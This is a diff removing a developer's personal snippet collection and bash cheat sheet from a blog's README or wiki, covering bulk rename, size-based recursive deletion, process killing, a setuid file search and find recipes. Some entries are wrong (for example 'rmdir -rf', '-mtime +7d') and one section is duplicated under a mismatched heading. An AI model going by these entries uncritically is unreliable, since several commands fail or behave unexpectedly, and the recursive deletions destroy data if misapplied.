-## 36. Delete files in violation of a given size range (100MB for git)
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-find . -size +75M -a -print -a -exec rm -f {} \;
-
-find . -size +98M -a -print -a -exec rm -f {} \;
-
-```
-
----
-
-## 37. download all links of given file type
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-wget -r -A.pdf https://overapi.com/git
-
-```
-
----
-
-## 38. Kill all node processes
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-killall -s KILL node
-
-```
-
----
-
-## 39. Remove string from file names recursively
-
-### Description: In the example below I am using this command to remove the string "-master" from all file names in the working directory and all of it's sub directories
-
-###### code
-
-```bash
-find <mydir> -type f -exec sed -i 's/<string1>/<string2>/g' {} +
-
-find . -type f -exec rename 's/-master//g' {} +
-
-```
-
-> Notes: The same could be done for folder names by changing the *-type f* flag (for file) to a *-type d* flag (for directory)
-
-```bash
-find <mydir> -type d -exec sed -i 's/<string1>/<string2>/g' {} +
-
-find . -type d -exec rename 's/-master//g' {} +
-
-```
-
----
-
-## 40. Remove spaces from file and folder names recursively
-
-### Description: replaces spaces in file and folder names with an `_` underscore
-
-> Notes: need to run `sudo apt install rename` to use this command
-
-###### code
-
-```bash
-
-find . -name "* *" -type d | rename 's/ /_/g'
-find . -name "* *" -type f | rename 's/ /_/g'
-```
-
----
-
-## 41. Zip Each subdirectories in a given directory into their own zip file
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-for i in */; do zip -r "${i%/}.zip" "$i"; done
-
-```
-
----
-
-## 91. Unzip PowerShell
-
-### Description
-
-> Notes:
-
-###### code
-
-```ps1
-
-PARAM (
-    [string] $ZipFilesPath = "./",
-    [string] $UnzipPath = "./RESULT"
-)
-
-$Shell = New-Object -com Shell.Application
-$Location = $Shell.NameSpace($UnzipPath)
-
-$ZipFiles = Get-Childitem $ZipFilesPath -Recurse -Include *.ZIP
-
-$progress = 1
-foreach ($ZipFile in $ZipFiles) {
-    Write-Progress -Activity "Unzipping to $($UnzipPath)" -PercentComplete (($progress / ($ZipFiles.Count + 1)) * 100) -CurrentOperation $ZipFile.FullName -Status "File $($Progress) of $($ZipFiles.Count)"
-    $ZipFolder = $Shell.NameSpace($ZipFile.fullname)
-
-    $Location.Copyhere($ZipFolder.items(), 1040) # 1040 - No msgboxes to the user - https://msdn.microsoft.com/library/bb787866%28VS.85%29.aspx
-    $progress++
-}
-
-```
-
----
-
-## 92. return to bash from zsh
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
- sudo apt --purge remove zsh
-
-```
-
----
-
-## 93. Symbolic Link
-
-### Description: to working directory
-
-> Notes:
-
-###### code
-
-```bash
-
-ln -s "$(pwd)" ~/NameOfLink
-
-ln -s "$(pwd)" ~/Downloads
-
-```
-
----
-
-## 94. auto generate readme
-
-### Description: rename existing readme to blueprint.md
-
-> Notes:
-
-###### code
-
-```bash
-
-npx @appnest/readme generate
-
-```
-
----
-
-## 95. Log into postgres
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-sudo -u postgres psql
-```
-
----
-
-## 96. URL To Subscribe To YouTube Channel
-
-| URL                  | <https://bgoonz-blog.netlify.app>                        |
-| -------------------- | -------------------------------------------------------- |
-| Miscellaneous        | webpack ; Prism                                          |
-| Widgets              | Facebook ; AddThis                                       |
-| Analytics            | Moat ; Google Analytics ; Google Ads Conversion Tracking |
-| Comment systems      | Facebook API & REPL.it Database                          |
-| Security             | Netlify Access                                           |
-| Font scripts         | Google Font API                                          |
-| CDN                  | Unpkg ; jsDelivr ; jQuery CDN ; Netlify                  |
-| Marketing automation | MailChimp                                                |
-| Advertising          | Google AdSense                                           |
-| Tag managers         | Google Tag Manager                                       |
-| Live chat            | Smartsupp ; LiveChat : Mesibo API                        |
-| JavaScript libraries | Lodash ; Dojo ; core-js ; jQuery                         |
-
----
-
-## 96. URL To Subscribe To YouTube Channel
-
-## Description
-
-> Notes:
-
-###### code
-
-```txt
-
-https://www.youtube.com/channel/UC1HDa0wWnIKUf-b4yY9JecQ?sub_confirmation=1
-
-```
-
----
-
-## 97. Embed Repl.it In Medium Post
-
-###### code
-
-```txt
-
-https://repl.it/@bgoonz/Data-Structures-Algos-Codebase?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
-
-https://repl.it/@bgoonz/node-db1-project?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
-
-https://repl.it/@bgoonz/interview-prac?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
-
-https://repl.it/@bgoonz/Database-Prac?lite=true&amp;referrer=https%3A%2F%2Fbryanguner.medium.com
-
-```
-
----
-
-## 98 rRmove text target="parent" from files called right.html
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
-
-find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
-
-```
-
-## 99. Cheat Sheet
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-#!/bin/bash
-revert
-## SHORTCUTS and HISTORY
-
-
-CTRL+A  # move to beginning of line
-CTRL+B  # moves backward one character
-CTRL+C  # halts the current command
-CTRL+D  # deletes one character backward or logs out of current session, similar to exit
-CTRL+E  # moves to end of line
-CTRL+F  # moves forward one character
-CTRL+G  # aborts the current editing command and ring the terminal bell
-CTRL+H  # deletes one character under cursor (same as DELETE)
-CTRL+J  # same as RETURN
-CTRL+K  # deletes (kill) forward to end of line
-CTRL+L  # clears screen and redisplay the line
-CTRL+M  # same as RETURN
-CTRL+N  # next line in command history
-CTRL+O  # same as RETURN, then displays next line in history file
-CTRL+P  # previous line in command history
-CTRL+Q  # resumes suspended shell output
-CTRL+R  # searches backward
-CTRL+S  # searches forward or suspends shell output
-CTRL+T  # transposes two characters
-CTRL+U  # kills backward from point to the beginning of line
-CTRL+V  # makes the next character typed verbatim
-CTRL+W  # kills the word behind the cursor
-CTRL+X  # lists the possible filename completions of the current word
-CTRL+Y  # retrieves (yank) last item killed
-CTRL+Z  # stops the current command, resume with fg in the foreground or bg in the background
-
-ALT+B   # moves backward one word
-ALT+D   # deletes next word
-ALT+F   # moves forward one word
-ALT+H   # deletes one character backward
-ALT+T   # transposes two words
-ALT+.   # pastes last word from the last command. Pressing it repeatedly traverses through command history.
-ALT+U   # capitalizes every character from the current cursor position to the end of the word
-ALT+L   # uncapitalizes every character from the current cursor position to the end of the word
-ALT+C   # capitalizes the letter under the cursor. The cursor then moves to the end of the word.
-ALT+R   # reverts any changes to a command you've pulled from your history if you've edited it.
-ALT+?   # list possible completions to what is typed
-ALT+^   # expand line to most recent match from history
-
-CTRL+X then (   # start recording a keyboard macro
-CTRL+X then )   # finish recording keyboard macro
-CTRL+X then E   # recall last recorded keyboard macro
-CTRL+X then CTRL+E   # invoke text editor (specified by $EDITOR) on current command line then execute resultes as shell commands
-
-BACKSPACE  # deletes one character backward
-DELETE     # deletes one character under cursor
-
-history   # shows command line history
-!!        # repeats the last command
-!<n>      # refers to command line 'n'
-!<string> # refers to command starting with 'string'
-
-exit      # logs out of current session
-
-
-## BASH BASICS
-
-
-env                 # displays all environment variables
-
-echo $SHELL         # displays the shell you're using
-echo $BASH_VERSION  # displays bash version
-
-bash                # if you want to use bash (type exit to go back to your previously opened shell)
-whereis bash        # locates the binary, source and manual-page for a command
-which bash          # finds out which program is executed as 'bash' (default: /bin/bash, can change across environments)
-
-clear               # clears content on window (hide displayed lines)
-
-
-## FILE COMMANDS
-
-
-ls                            # lists your files in current directory, ls <dir> to print files in a specific directory
-ls -l                         # lists your files in 'long format', which contains the exact size of the file, who owns the file and who has the right to look at it, and when it was last modified
-ls -a                         # lists all files in 'long format', including hidden files (name beginning with '.')
-ln -s <filename> <link>       # creates symbolic link to file
-readlink <filename>           # shows where a symbolic links points to
-tree                          # show directories and subdirectories in easilly readable file tree
-mc                            # terminal file explorer (alternative to ncdu)
-touch <filename>              # creates or updates (edit) your file
-mktemp -t <filename>            # make a temp file in /tmp/ which is deleted at next boot (-d to make directory)
-cat <filename>                # prints file raw content (will not be interpreted)
-any_command > <filename>      # '>' is used to perform redirections, it will set any_command's stdout to file instead of "real stdout" (generally /dev/stdout)
-more <filename>               # shows the first part of a file (move with space and type q to quit)
-head <filename>               # outputs the first lines of file (default: 10 lines)
-tail <filename>               # outputs the last lines of file (useful with -f option) (default: 10 lines)
-vim <filename>                # opens a file in VIM (VI iMproved) text editor, will create it if it doesn't exist
-mv <filename1> <dest>         # moves a file to destination, behavior will change based on 'dest' type (dir: file is placed into dir; file: file will replace dest (tip: useful for renaming))
-cp <filename1> <dest>         # copies a file
-rm <filename>                 # removes a file
-find . -name <name> <type>    # searches for a file or a directory in the current directory and all its sub-directories by its name
-diff <filename1> <filename2>  # compares files, and shows where they differ
-wc <filename>                 # tells you how many lines, words and characters there are in a file. Use -lwc (lines, word, character) to ouput only 1 of those informations
-sort <filename>               # sorts the contents of a text file line by line in alphabetical order, use -n for numeric sort and -r for reversing order.
-sort -t -k <filename>         # sorts the contents on specific sort key field starting from 1, using the field separator t.
-rev                           # reverse string characters (hello becomes olleh)
-chmod -options <filename>     # lets you change the read, write, and execute permissions on your files (more infos: SUID, GUID)
-gzip <filename>               # compresses files using gzip algorithm
-gunzip <filename>             # uncompresses files compressed by gzip
-gzcat <filename>              # lets you look at gzipped file without actually having to gunzip it
-lpr <filename>                # prints the file
-lpq                           # checks out the printer queue
-lprm <jobnumber>              # removes something from the printer queue
-genscript                     # converts plain text files into postscript for printing and gives you some options for formatting
-dvips <filename>              # prints .dvi files (i.e. files produced by LaTeX)
-grep <pattern> <filenames>    # looks for the string in the files
-grep -r <pattern> <dir>       # search recursively for pattern in directory
-head -n file_name | tail +n   # Print nth line from file.
-head -y lines.txt | tail +x   # want to display all the lines from x to y. This includes the xth and yth lines.
-
-
-## DIRECTORY COMMANDS
-
-
-mkdir <dirname>               # makes a new directory
-rmdir <dirname>               # remove an empty directory
-rmdir -rf <dirname>           # remove a non-empty directory
-mv <dir1> <dir2>              # rename a directory from <dir1> to <dir2>
-cd                            # changes to home
-cd ..                         # changes to the parent directory
-cd <dirname>                  # changes directory
-cp -r <dir1> <dir2>           # copy <dir1> into <dir2> including sub-directories
-pwd                           # tells you where you currently are
-cd ~                          # changes to home.
-cd -                        # changes to previous working directory
-
-
-## SSH, SYSTEM INFO & NETWORK COMMANDS
-
-
-ssh user@host            # connects to host as user
-ssh -p <port> user@host  # connects to host on specified port as user
-ssh-copy-id user@host    # adds your ssh key to host for user to enable a keyed or passwordless login
-
-whoami                   # returns your username
-passwd                   # lets you change your password
-quota -v                 # shows what your disk quota is
-date                     # shows the current date and time
-cal                      # shows the month's calendar
-uptime                   # shows current uptime
-w                        # displays whois online
-finger <user>            # displays information about user
-uname -a                 # shows kernel information
-man <command>            # shows the manual for specified command
-df                       # shows disk usage
-du <filename>            # shows the disk usage of the files and directories in filename (du -s give only a total)
-last <yourUsername>      # lists your last logins
-ps -u yourusername       # lists your processes
-kill <PID>               # kills the processes with the ID you gave
-killall <processname>    # kill all processes with the name
-top                      # displays your currently active processes
-lsof                     # lists open files
-bg                       # lists stopped or background jobs ; resume a stopped job in the background
-fg                       # brings the most recent job in the foreground
-fg <job>                 # brings job to the foreground
-
-ping <host>              # pings host and outputs results
-whois <domain>           # gets whois information for domain
-dig <domain>             # gets DNS information for domain
-dig -x <host>            # reverses lookup host
-wget <file>              # downloads file
-
-time <command>             # report time consumed by command execution
-
-
-## VARIABLES
-
-
-varname=value                # defines a variable
-varname=value command        # defines a variable to be in the environment of a particular subprocess
-echo $varname                # checks a variable's value
-echo $$                      # prints process ID of the current shell
-echo $!                      # prints process ID of the most recently invoked background job
-echo $?                      # displays the exit status of the last command
-read <varname>               # reads a string from the input and assigns it to a variable
-read -p "prompt" <varname>   # same as above but outputs a prompt to ask user for value
-column -t <filename>         # display info in pretty columns (often used with pipe)
-let <varname> = <equation>   # performs mathematical calculation using operators like +, -, *, /, %
-export VARNAME=value         # defines an environment variable (will be available in subprocesses)
-
-array[0]=valA                # how to define an array
-array[1]=valB
-array[2]=valC
-array=([2]=valC [0]=valA [1]=valB)  # another way
-array=(valA valB valC)              # and another
-
-${array[i]}                  # displays array's value for this index. If no index is supplied, array element 0 is assumed
-${#array[i]}                 # to find out the length of any element in the array
-${#array[@]}                 # to find out how many values there are in the array
-
-declare -a                   # the variables are treated as arrays
-declare -f                   # uses function names only
-declare -F                   # displays function names without definitions
-declare -i                   # the variables are treated as integers
-declare -r                   # makes the variables read-only
-declare -x                   # marks the variables for export via the environment
-
-${varname:-word}             # if varname exists and isn't null, return its value; otherwise return word
-${varname:word}              # if varname exists and isn't null, return its value; otherwise return word
-${varname:=word}             # if varname exists and isn't null, return its value; otherwise set it word and then return its value
-${varname:?message}          # if varname exists and isn't null, return its value; otherwise print varname, followed by message and abort the current command or script
-${varname:+word}             # if varname exists and isn't null, return word; otherwise return null
-${varname:offset:length}     # performs substring expansion. It returns the substring of $varname starting at offset and up to length characters
-
-${variable#pattern}          # if the pattern matches the beginning of the variable's value, delete the shortest part that matches and return the rest
-${variable##pattern}         # if the pattern matches the beginning of the variable's value, delete the longest part that matches and return the rest
-${variable%pattern}          # if the pattern matches the end of the variable's value, delete the shortest part that matches and return the rest
-${variable%%pattern}         # if the pattern matches the end of the variable's value, delete the longest part that matches and return the rest
-${variable/pattern/string}   # the longest match to pattern in variable is replaced by string. Only the first match is replaced
-${variable//pattern/string}  # the longest match to pattern in variable is replaced by string. All matches are replaced
-
-${#varname}                  # returns the length of the value of the variable as a character string
-
-*(patternlist)               # matches zero or more occurrences of the given patterns
-+(patternlist)               # matches one or more occurrences of the given patterns
-?(patternlist)               # matches zero or one occurrence of the given patterns
-@(patternlist)               # matches exactly one of the given patterns
-!(patternlist)               # matches anything except one of the given patterns
-
-$(UNIX command)              # command substitution: runs the command and returns standard output
-
-
-## FUNCTIONS
-
-
-## The function refers to passed arguments by position (as if they were positional parameters), that is, $1, $2, and so forth.
-## $@ is equal to "$1" "$2"... "$N", where N is the number of positional parameters. $# holds the number of positional parameters.
-
-function functname() {
-  shell commands
-}
-
-unset -f functname  # deletes a function definition
-declare -f          # displays all defined functions in your login session
-
-
-## FLOW CONTROLS
-
-
-statement1 && statement2  # and operator
-statement1 || statement2  # or operator
-
--a                        # and operator inside a test conditional expression
--o                        # or operator inside a test conditional expression
-
-## STRINGS
-
-str1 == str2               # str1 matches str2
-str1 != str2               # str1 does not match str2
-str1 < str2                # str1 is less than str2 (alphabetically)
-str1 > str2                # str1 is greater than str2 (alphabetically)
-str1 \> str2               # str1 is sorted after str2
-str1 \< str2               # str1 is sorted before str2
--n str1                    # str1 is not null (has length greater than 0)
--z str1                    # str1 is null (has length 0)
-
-## FILES
-
--a file                   # file exists or its compilation is successful
--d file                   # file exists and is a directory
--e file                   # file exists; same -a
--f file                   # file exists and is a regular file (i.e., not a directory or other special type of file)
--r file                   # you have read permission
--s file                   # file exists and is not empty
--w file                   # your have write permission
--x file                   # you have execute permission on file, or directory search permission if it is a directory
--N file                   # file was modified since it was last read
--O file                   # you own file
--G file                   # file's group ID matches yours (or one of yours, if you are in multiple groups)
-file1 -nt file2           # file1 is newer than file2
-file1 -ot file2           # file1 is older than file2
-
-## NUMBERS
-
--lt                       # less than
--le                       # less than or equal
--eq                       # equal
--ge                       # greater than or equal
--gt                       # greater than
--ne                       # not equal
-
-if condition
-then
-  statements
-[elif condition
-  then statements...]
-[else
-  statements]
-fi
-
-for x in {1..10}
-do
-  statements
-done
-
-for name [in list]
-do
-  statements that can use $name
-done
-
-for (( initialisation ; ending condition ; update ))
-do
-  statements...
-done
-
-case expression in
-  pattern1 )
-    statements ;;
-  pattern2 )
-    statements ;;
-esac
-
-select name [in list]
-do
-  statements that can use $name
-done
-
-while condition; do
-  statements
-done
-
-until condition; do
-  statements
-done
-
-
-## COMMAND-LINE PROCESSING CYCLE
-
-
-## The default order for command lookup is functions, followed by built-ins, with scripts and executables last.
-## There are three built-ins that you can use to override this order: `command`, `builtin` and `enable`.
-
-command  # removes alias and function lookup. Only built-ins and commands found in the search path are executed
-builtin  # looks up only built-in commands, ignoring functions and commands found in PATH
-enable   # enables and disables shell built-ins
-
-eval     # takes arguments and run them through the command-line processing steps all over again
-
-
-## INPUT/OUTPUT REDIRECTORS
-
-
-cmd1|cmd2  # pipe; takes standard output of cmd1 as standard input to cmd2
-< file     # takes standard input from file
-> file     # directs standard output to file
->> file    # directs standard output to file; append to file if it already exists
->|file     # forces standard output to file even if noclobber is set
-n>|file    # forces output to file from file descriptor n even if noclobber is set
-<> file    # uses file as both standard input and standard output
-n<>file    # uses file as both input and output for file descriptor n
-n>file     # directs file descriptor n to file
-n<file     # takes file descriptor n from file
-n>>file    # directs file description n to file; append to file if it already exists
-n>&        # duplicates standard output to file descriptor n
-n<&        # duplicates standard input from file descriptor n
-n>&m       # file descriptor n is made to be a copy of the output file descriptor
-n<&m       # file descriptor n is made to be a copy of the input file descriptor
-&>file     # directs standard output and standard error to file
-<&-      # closes the standard input
->&-      # closes the standard output
-n>&-     # closes the ouput from file descriptor n
-n<&-     # closes the input from file descripor n
-
-|tee <file># output command to both terminal and a file (-a to append to file)
-
-
-## PROCESS HANDLING
-
-
-## To suspend a job, type CTRL+Z while it is running. You can also suspend a job with CTRL+Y.
-## This is slightly different from CTRL+Z in that the process is only stopped when it attempts to read input from terminal.
-## Of course, to interrupt a job, type CTRL+C.
-
-myCommand &  # runs job in the background and prompts back the shell
-
-jobs         # lists all jobs (use with -l to see associated PID)
-
-fg           # brings a background job into the foreground
-fg %+        # brings most recently invoked background job
-fg %-      # brings second most recently invoked background job
-fg %N        # brings job number N
-fg %string   # brings job whose command begins with string
-fg %?string  # brings job whose command contains string
-
-kill -l               # returns a list of all signals on the system, by name and number
-kill PID              # terminates process with specified PID
-kill -s SIGKILL 4500  # sends a signal to force or terminate the process
-kill -15 913          # Ending PID 913 process with signal 15 (TERM)
-kill %1               # Where %1 is the number of job as read from 'jobs' command.
-
-ps           # prints a line of information about the current running login shell and any processes running under it
-ps -a        # selects all processes with a tty except session leaders
-
-trap cmd sig1 sig2  # executes a command when a signal is received by the script
-trap "" sig1 sig2   # ignores that signals
-trap - sig1 sig2    # resets the action taken when the signal is received to the default
-
-disown <PID|JID>    # removes the process from the list of jobs
-
-wait                # waits until all background jobs have finished
-sleep <number>      # wait # of seconds before continuing
-
-pv                  # display progress bar for data handling commands. often used with pipe like |pv
-yes                 # give yes response everytime an input is requested from script/process
-
-
-## TIPS & TRICKS
-
-
-## set an alias
-cd; nano .bash_profile
-> alias gentlenode='ssh admin@gentlenode.com -p 3404'  # add your alias in .bash_profile
-
-## to quickly go to a specific directory
-cd; nano .bashrc
-> shopt -s cdable_vars
-> export websites="/Users/mac/Documents/websites"
-
-source .bashrc
-cd $websites
-
-
-## DEBUGGING SHELL PROGRAMS
-
-
-bash -n scriptname  # don't run commands; check for syntax errors only
-set -o noexec       # alternative (set option in script)
-
-bash -v scriptname  # echo commands before running them
-set -o verbose      # alternative (set option in script)
-
-bash -x scriptname  # echo commands after command-line processing
-set -o xtrace       # alternative (set option in script)
-
-trap 'echo $varname' EXIT  # useful when you want to print out the values of variables at the point that your script exits
-
-function errtrap {
-  es=$?
-  echo "ERROR line $1: Command exited with status $es."
-}
-
-trap 'errtrap $LINENO' ERR  # is run whenever a command in the surrounding script or function exits with non-zero status
-
-function dbgtrap {
-  echo "badvar is $badvar"
-}
-
-trap dbgtrap DEBUG  # causes the trap code to be executed before every statement in a function or script
-## ...section of code in which the problem occurs...
-trap - DEBUG  # turn off the DEBUG trap
-
-function returntrap {
-  echo "A return occurred"
-}
-
-trap returntrap RETURN  # is executed each time a shell function or a script executed with the . or source commands finishes executing
-
-
-## COLORS AND BACKGROUNDS
-
-## note: \e or \x1B also work instead of \033
-## Reset
-Color_Off='\033[0m' # Text Reset
-
-## Regular Colors
-Black='\033[0;30m'  # Black
-Red='\033[0;31m'    # Red
-Green='\033[0;32m'  # Green
-Yellow='\033[0;33m' # Yellow
-Blue='\033[0;34m'   # Blue
-Purple='\033[0;35m' # Purple
-Cyan='\033[0;36m'   # Cyan
-White='\033[0;97m'  # White
-
-## Additional colors
-LGrey='\033[0;37m'  # Ligth Gray
-DGrey='\033[0;90m'  # Dark Gray
-LRed='\033[0;91m'   # Ligth Red
-LGreen='\033[0;92m' # Ligth Green
-LYellow='\033[0;93m'# Ligth Yellow
-LBlue='\033[0;94m'  # Ligth Blue
-LPurple='\033[0;95m'# Light Purple
-LCyan='\033[0;96m'  # Ligth Cyan
-
-## Bold
-BBlack='\033[1;30m' # Black
-BRed='\033[1;31m'   # Red
-BGreen='\033[1;32m' # Green
-BYellow='\033[1;33m'# Yellow
-BBlue='\033[1;34m'  # Blue
-BPurple='\033[1;35m'# Purple
-BCyan='\033[1;36m'  # Cyan
-BWhite='\033[1;37m' # White
-
-## Underline
-UBlack='\033[4;30m' # Black
-URed='\033[4;31m'   # Red
-UGreen='\033[4;32m' # Green
-UYellow='\033[4;33m'# Yellow
-UBlue='\033[4;34m'  # Blue
-UPurple='\033[4;35m'# Purple
-UCyan='\033[4;36m'  # Cyan
-UWhite='\033[4;37m' # White
-
-## Background
-On_Black='\033[40m' # Black
-On_Red='\033[41m'   # Red
-On_Green='\033[42m' # Green
-On_Yellow='\033[43m'# Yellow
-On_Blue='\033[44m'  # Blue
-On_Purple='\033[45m'# Purple
-On_Cyan='\033[46m'  # Cyan
-On_White='\033[47m' # White
-
-## Example of usage
-echo -e "${Green}This is GREEN text${Color_Off} and normal text"
-echo -e "${Red}${On_White}This is Red test on White background${Color_Off}"
-## option -e is mandatory, it enable interpretation of backslash escapes
-printf "${Red} This is red \n"
-
-```
-
-</details>
-
->
-
-#### Find
-
-## To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG)
-
-find . -iname "\*.jpg"
-
-## To find directories
-
-find . -type d
-
-## To find files
-
-find . -type f
-
-## To find files by octal permission
-
-find . -type f -perm 777
-
-## To find files with setuid bit set
-
-find . -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
-
-## To find files with extension '.txt' and remove them
-
-find ./path/ -name '\*.txt' -exec rm '{}' \;
-
-## To find files with extension '.txt' and look for a string into them
-
-find ./path/ -name '\*.txt' | xargs grep 'string'
-
-## To find files with size bigger than 5 Mebibyte and sort them by size
-
-find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z
-
-## To find files bigger than 2 Megabyte and list them
-
-find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
-
-## To find files modified more than 7 days ago and list file information
-
-find . -type f -mtime +7d -ls
-
-## To find symlinks owned by a user and list file information
-
-find . -type l -user <username-or-userid> -ls
-
-## To search for and delete empty directories
-
-find . -type d -empty -exec rmdir {} \;
-
-## To search for directories named build at a max depth of 2 directories
-
-find . -maxdepth 2 -name build -type d
-
-## To search all files who are not in .git directory
-
-find . ! -iwholename '*.git*' -type f
-
-## To find all files that have the same node (hard link) as MY_FILE_HERE
-
-find . -type f -samefile MY_FILE_HERE 2>/dev/null
-
-## To find all files in the current directory and modify their permissions
-
-find . -type f -exec chmod 644 {} \;
-
----
-
-</details>
-
----
-
-![Preview](https://i.imgur.com/nieW1vp.png)
-
-## Wiki Nav
-
--   [Home](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki)
--   [add copy to code blocks.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/add-copy-to-code-blocks.md)
--   [Add site search w algolia.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Add-site-search-w-algolia.md)
--   [adding mailing list.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/adding-mailing-list.md)
--   [Adding search 2 gatsby site.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Adding-search-2-gatsby-site.md)
--   [awesome.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/awesome.md)
--   [broken links.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/broken-links.md)
--   [configure custom domain.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/configure-custom-domain.md)
--   [contentauthoring.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/contentauthoring.md)
--   [full text search w lunar.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/full-text-search-w-lunar.md)
--   [inject 4.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject-4.md)
--   [inject3.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject3.md)
--   [inject4.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/inject4.md)
--   [injected content part2.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-content-part2.md)
--   [injected js part4.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-js-part4.md)
--   [injected part3.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/injected-part3.md)
--   [links 2 embed.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/links-2-embed.md)
--   [links to remember](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/links-to-remember)
--   [Netlify Injected Content](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Netlify-Injected-Content)
--   [old version of index.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/old-version-of-index.md)
--   [optimize vscode.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/optimize-vscode.md)
--   [possibly useful snippets.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/possibly-useful-snippets.md)
--   [privacy policy.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/privacy-policy.md)
--   [random stuff.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/random-stuff.md)
--   [random.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/random.md)
--   [ref type](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/ref-type)
--   [SEO.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/SEO.md)
--   [stable points.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/stable-points.md)
--   [tech used.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/tech-used.md)
--   [Technologies Used.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/Technologies-Used.md)
--   [THINGS TO EMBED.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/THINGS-TO-EMBED.md)
--   [validation report.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/validation-report.md)
--   [web archive.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/web-archive.md)
--   [wordpress vs headless cms.md](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki/wordpress-vs-headless-cms.md)
-
----
-
-## Dependencies
-
-<details>
-  <summary>Click to expand!</summary>
-
-[![@algolia**](https://avatars.githubusercontent.com/u/2034458?s=40&v=4)](https://github.com/algolia)[algolia / algoliasearch-client-javascript](https://github.com/algolia/algoliasearch-client-javascript)@algolia/client-search
-`^ 4.10.3`
-
-[![@algolia**](https://avatars.githubusercontent.com/u/2034458?s=40&v=4)](https://github.com/algolia)[algolia / algoliasearch-client-javascript](https://github.com/algolia/algoliasearch-client-javascript)@algolia/client-common
-`4.10.5`
-
-![@ghost**](https://avatars.githubusercontent.com/u/10137?s=40&v=4)@algolia/requester-common
-`4.10.5`
-
-[![@algolia**](https://avatars.githubusercontent.com/u/2034458?s=40&v=4)](https://github.com/algolia)[algolia / algoliasearch-client-javascript](https://github.com/algolia/algoliasearch-client-javascript)@algolia/transporter
-`4.10.5`
-
-[![@stackbit**](https://avatars.githubusercontent.com/u/38996451?s=40&v=4)](https://github.com/stackbit)[stackbit / gatsby-plugin-menus](https://github.com/stackbit/gatsby-plugin-menus)@stackbit/gatsby-plugin-menus
-`0.0.4`
-
-[![@facebook**](https://avatars.githubusercontent.com/u/69631?s=40&v=4)](https://github.com/facebook)[facebook / jest](https://github.com/facebook/jest)babel-jest
-`^ 24.7.1`
-
-[![@gatsbyjs**](https://avatars.githubusercontent.com/u/12551863?s=40&v=4)](https://github.com/gatsbyjs)[gatsbyjs / gatsby](https://github.com/gatsbyjs/gatsby)babel-preset-gatsby
-`^ 0.1.11`
-
-[![@gatsbyjs**](https://avatars.githubusercontent.com/u/12551863?s=40&v=4)](https://github.com/gatsbyjs)[gatsbyjs / gatsby](https://github.com/gatsbyjs/gatsby) `^ 2.5.0`
-
-[![@keyz**](https://avatars.githubusercontent.com/u/2268452?s=40&u=c3f56fe1d943474ffe4577a82ad79c1a79d7eb6e&v=4)](https://github.com/keyz)[keyz / identity-obj-proxy](https://github.com/keyz/identity-obj-proxy) `^ 3.0.0`
-
-[![@facebook**](https://avatars.githubusercontent.com/u/69631?s=40&v=4)](https://github.com/facebook)[facebook / jest](https://github.com/facebook/jest) `^ 24.7.1`
-
-[![@lodash**](https://avatars.githubusercontent.com/u/2565403?s=40&v=4)](https://github.com/lodash)[lodash / lodash](https://github.com/lodash/lodash) `^ 4.17.11`
-
-[![@facebook**](https://avatars.githubusercontent.com/u/69631?s=40&v=4)](https://github.com/facebook)[facebook / react](https://github.com/facebook/react)react-test-renderer
-`^ 16.8.6`
-
-[![@getkirby-v2**](https://avatars.githubusercontent.com/u/6985611?s=40&v=4)](https://github.com/getkirby-v2)[getkirby-v2 / algolia-plugin](https://github.com/getkirby-v2/algolia-plugin)algolia
-`0.0.0`
-
